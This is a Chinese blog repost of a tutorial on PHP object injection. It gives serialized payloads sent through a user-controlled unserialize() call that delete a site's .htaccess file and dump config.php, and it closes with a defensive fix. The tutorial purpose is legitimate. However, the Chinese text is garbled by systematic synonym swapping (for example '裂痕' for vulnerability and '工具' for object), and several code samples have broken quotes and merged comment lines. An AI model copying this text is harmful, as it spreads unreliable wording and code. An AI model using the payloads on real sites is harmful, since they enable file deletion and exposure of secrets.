欢迎光临杨雨的个人博客站!

杨雨个人网站-杨雨个人博客-杨照佳

杨雨个人博客网站

关注互联网和搜索引擎的个人博客网站

首页 > WEB开发 > PHP >

深入领略PHP工具注入

发布时间:2016-11-24  编辑:杨雨个人博客网站   点击:   

0x00 配景

php工具注入是一个非经常见的裂痕,这个范例的裂痕固然有些难以操作,但仍然很是伤害,为了领略这个裂痕,请读者具备基本的php常识。

0x01 裂痕案例

假如你认为这是个渣渣洞,那么请看一眼这个列表,一些被审计狗挖到过该裂痕的体系,你可以发明都是一些耳熟能详的玩意(就海外来说)

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆体系,八成也许或许在这些尚有其他的php措施中尚有许多这种范例的裂痕,以是不妨思量坐下喝杯咖啡而且试着去领略这篇文章。

php.jpg

0x01 PHP类和工具


类和变量长短常轻易领略的php观念,打个例如,下面的代码在一个类中界说了一个变量和一个要领。

<?php
 
class TestClass
{
    // A variable
     
    public $variable = 'This is a string';
     
    // A simple method
     
    public function PrintVariable()
    {
        echo $this->variable;
    }
}
 
// Create an object
 
$object = new TestClass();
 
// Call a method
 
$object->PrintVariable();
 
?>

它建设了一个工具而且挪用了 PrintVariable 函数,该函数会输出变量 variable。

假如想相识更多关于php面向工具编程的常识 请点: http://php.net/manual/zh/language.oop5.php

0x02 php magic要领

php类也许会包括一些非凡的函数叫magic函数,magic函数定名是以标记“__”开头的,好比 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

这些函数在某些环境下会自动挪用,好比:

__construct 当一个工具建设时挪用 (constructor) __destruct 当一个工具被烧毁时挪用 (destructor) __ toString当一个工具被看成一个字符串行使

为了更好的领略magic要领是怎样事变的,让我们添加一个magic要领在我们的类中。

  <?php
    class TestClass
    {
    // 一个变量public $variable = 'This is a string';// 一个简朴的要领
    
    public function PrintVariable()
    {
    echo $this->variable . '<br />';
    }
    
    // Constructor
    
    public function __construct()
    {
    echo '__construct <br />';
    }
    
    // Destructor
    
    public function __destruct()
    {
    echo '__destruct <br />';
    }
    
    // Call
    
    public function __toString()
    {
    return '__toString<br />';
    }
    }
    
    // 建设一个工具
    // __construct会被挪用
    
    $object = new TestClass();
    
    // 建设一个要领
    // 'This is a string’ 这玩融会被输出
    
    $object->PrintVariable();
    
    // 工具被看成一个字符串
    // __toString 会被挪用
    
    echo $object;
    
    // End of PHP script
    // php剧本要竣事了, __destruct会被挪用
    
    ?>

我们往里头放了三个 magic要领,__construct, __destruct和 __toString,你可以看出来,__construct在工具建设时挪用, __destruct在php剧本竣事时挪用,__toString在工具被看成一个字符串行使时挪用。

这个剧本会输出这狗样:

__construct 
This is a string 
__toString 
__destruct

这只是一个简朴的例子,假如你想相识更多有关magic函数的例子,请点击链接

0x03 php工具序列化

php应承生涯一个工具利便往后重用,这个进程被称为序列化,打个例如,你可以生涯一个包括着用户信息的工具利便等等重用。

为了序列化一个工具,你必要挪用 “serialize”函数,函数会返回一个字符串,当你必要用到这个工具的时辰可以行使“unserialize”去重建工具。

让我们在序列化丢进谁人例子,看看序列化张什么样。

<?php
// 某类class User
{
// 类数据public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}

// 建设一个工具

$usr = new User();

// 配置数据

$usr->age = 20;
$usr->name = 'John';

// 输出数据

$usr->PrintData();

// 输出序列化之后的数据

echo serialize($usr);

?>

它会输出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的数据中 有 20和John,个中没有任何跟类有关的对象,只有个中的数据被数据化。

为了行使这个工具,我们用unserialize重建工具。

<?php// 某类class User
{
// Class datapublic $age = 0;
public $name = '';

// Print data

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建工具

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 挪用PrintData 输出数据

$usr->PrintData();

?>

着会输出

User John is 20 years old

0x04 序列化magic函数

magic函数constructor (__construct)和 destructor (__destruct) 是会在工具建设可能烧毁时自动挪用,其他的一些magic函数会在serialize 可能 unserialize的时辰被挪用。

__sleep magic要领在一个工具被序列化的时辰挪用。 __wakeup magic要领在一个工具被反序列化的时辰挪用。

留意 __sleep 必需返回一个数组与序列化的变量名。

<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';public function PrintVariable()
{
echo $this->variable . '<br />';
}public function __construct()
{
echo '__construct<br />';
}

public function __destruct()
{
echo '__destruct<br />';
}

public function __wakeup()
{
echo '__wakeup<br />';
}

public function __sleep()
{
echo '__sleep<br />';

return array('variable', 'variable2');
}
}

// 建设一个工具,会挪用 __construct

$obj = new Test();

// 序列化一个工具,会挪用 __sleep

$serialized = serialize($obj);

//输出序列化后的字符串

print 'Serialized: ' . $serialized . <br />';

// 重建工具,会挪用 __wakeup

$obj2 = unserialize($serialized);

//挪用 PintVariable, 会输出数据 (BUZZ)

$obj2->PrintVariable();

// php剧本竣事,会挪用 __destruct

?>

这玩融会输出:

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

你可以看到,我们建设了一个工具,序列化了它(然后__sleep被挪用),之后用序列化工具重建后的工具建设了另一个工具,接着php剧本竣事的时辰两个工具的__destruct城市被挪用。

更多相干的内容

0x05 php工具注入

此刻我们领略了序列化是怎样事变的,我们该怎样操作它?究竟上,操作这玩意的也许性有许多种,要害取决于应用措施的流程与,可用的类,与magic函数。

记着序列化工具的值是可控的。

你也许会找到一套web措施的源代码,个中某个类的__wakeup 可能 __destruct and其他参差不齐的函数会影响到web措施。

打个例如,我们也许会找到一个类用于姑且将日记储存进某个文件,当__destruct被挪用时,日记文件会被删除。然儿女码张这狗样。

public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // Destructor 删除日记文件 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>


某例子关于怎样行使这个类

<?php
include 'logfile.php';// 建设一个工具$obj = new LogFile();

// 配置文件名和要储存的日记数据

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// php剧本竣事啦,__destruct被挪用,somefile.log文件被删除。

?>

在其他的剧本,我们也许又刚好找到一个挪用“unserialize”函数的,而且刚好变量是用户可控的,又刚好是$_GET之类的什么玩意的。

<?php
include 'logfile.php';// ... 一些狗日的代码和 LogFile 类 ...// 简朴的类界说

class User
{
// 类数据

public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建 用户输入的 数据

$usr = unserialize($_GET['usr_serialized']);

?>

你看,这个代码挪用了 “LogClass” 类,而且有一个 “unserialize” 值是我们可以注入的。

以是结构相同这样的对象:
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
毕竟产生了什么呢,由于输入是可控的,以是我们可以结构恣意的序列化工具,好比:

<?php$obj = new LogFile();
$obj->filename = '.htaccess';echo serialize($obj) . '<br />';?>

这个会输出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

此刻我们将结构事后的序列化工具发送给适才的剧本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

这会输出

__destruct deletes ".htaccess" file.

此刻 .htaccess 已经被干掉了,由于剧本竣事时 __destruct会被挪用。不外我们已经可以节制“LogFile”类的变量啦。

这就是裂痕名称的由来:变量可控而且举办了unserialize操纵的处所注入序列化工具,实当代码执行可能其他坑爹的举动。

固然这不是一个很好的例子,不外我信托你可以领略这个观念,unserialize自动挪用 __wakeup 和 __destruct,接着进攻者可以节制类变量,而且进攻web措施。

0x06 常见的注入点

先不谈 __wakeup 和 __destruct,尚有一些很常见的注入点应承你操作这个范例的裂痕,统统都是取决于措施逻辑。

打个例如,某用户类界说了一个__toString为了让应用措施可以或许将类作为一个字符串输出(echo $obj) ,并且其他类也也许界说了一个类应承__toString读取某个文件。

<?php
// … 一些include ...class FileClass
{
// 文件名public $filename = 'error.log';

//当工具被作为一个字符串会读取这个文件

public function __toString()
{
return file_get_contents($this->filename);
}
}

// Main User class

class User
{
// Class data

public $age = 0;
public $name = '';

// 应承工具作为一个字符串输出上面的data

public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 用户可控

$obj = unserialize($_GET['usr_serialized']);

// 输出 __toString

echo $obj;

?>

so,我们结构url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想,假如我们用序列化挪用 FileClass呢

我们建设操作代码

<?php$fileobj = new FileClass();
$fileobj->filename = 'config.php';echo serialize($fileobj);?>

接着用天生的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接着网页会输出 config.php的源代码

<?php$private_data = 'MAGIC';?>

ps:我但愿这让你可以或许领略。

0x07 其他的操作要领

也许其他的一些magic函数海存在操作点:好比__call 会在工具挪用不存在的函数时挪用,__get 和 __set会在工具实行会见一些不存在的类,变量等等时挪用。

不外必要留意的是,操作场景不限于magic函数,也有一些方法可以在一半的函数中操作这个裂痕,打个例如,一个模块也许界说了一个叫get的函数举办一些敏感的操纵,好比会见数据库,这就也许造成sql注入,取决于函数自己的操纵。

独一的一个技能难点在于,注入的类必需在注入点地址的处所,不外一些模块可能剧本会行使“autoload”的成果,详细可以在这里相识

0x08 怎样操作可能停止这个裂痕

别在任何用户可控的处所行使“unserialize”,可以思量“json_decode“

0x09 结论

固然很难找到并且很难操作,可是这真的真的很严峻,可以导致各类百般的裂痕。

各人有什么设法,接待评述哦

原文:https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

本文地址:http://itbyc.com/php/13183.html
转载请注明出处。
分享是一种快乐,也是一种美德:
评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
博客首页 | WEB开发 | 网站运营 | CMS使用教程 滇ICP备14002061号-1